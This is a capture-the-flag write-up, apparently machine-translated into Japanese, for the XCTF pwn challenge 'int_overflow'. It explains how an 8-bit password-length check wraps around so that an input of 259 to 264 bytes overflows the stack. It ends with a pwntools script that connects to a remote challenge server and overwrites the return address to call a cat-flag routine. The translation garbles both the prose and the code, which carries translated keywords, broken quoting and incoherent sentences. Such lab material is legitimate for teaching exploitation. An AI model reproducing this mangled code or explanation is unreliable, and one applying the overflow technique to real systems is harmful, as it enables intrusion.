xctf-int_overflow
トピックポータル:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=undefined
checksecファイル、いかなるカナリアは、32ビットプログラム見つかりませんでした。
IDAとのオープンビュー:
分析入力機能メニュー:1、ログインしてください; 2番出口
ログイン()関数、入力された名前を参照して、passwdの、長さ0x199uを入力してください
ビューcheck_passwd()関数で、
入力DESTより大きい8以下であり、成功した場合strcpyの成功であるか3かを判定する。
S長0x199u、すなわち409小数、バイナリ:000110011001は、単語よりはるかに大きいが、彼の長さ8ビットの記憶空間
8つだけを格納する、その後、格納位置を超えることはできません、オーバーフローが存在した後、次いで、3-8(0000 0011から00001000)が259-264(0001 0000 0011から00010000 1000)であってもよいです
アセンブリコードをチェックし、あなたがスタックオーバーフローによる方法を見つけることができます、RETN命令を残して、自分自身を返すようにしたい対処 - - - > MOV ESP、EBP;ポップEBP
263:256から264の間の乱数を選択
だから、263-0x14-4-4 = 235
システムコールの猫フラグアドレスを見つけるために、文字列を表示します。0x804868Bを:
EXPを構築することができます。
PWN インポート * #CNN =プロセス( './ int_ovweflow ') CNN =リモート(' 111.198.29.45 '、38032 )#libcの= cdll.loadLibrary( "/ libに/ x86_64の-linuxの-GNU / libc.so.6と" ) system_addr = 0x0804868B ペイロード = ' ' * 0x14の+ ' ' * 4 + P32(system_addr)+ ' ' * 235 cnn.sendlineafter(" 選択:"、' 1 ' ) cnn.sendlineafter(" ユーザ名:」、 ' WWW ' ) cnn.sendlineafter(" passwdの:" 、ペイロード) cnn.interactive()
フラグを取得します。
要約:符号ビットは非常に重要なことです!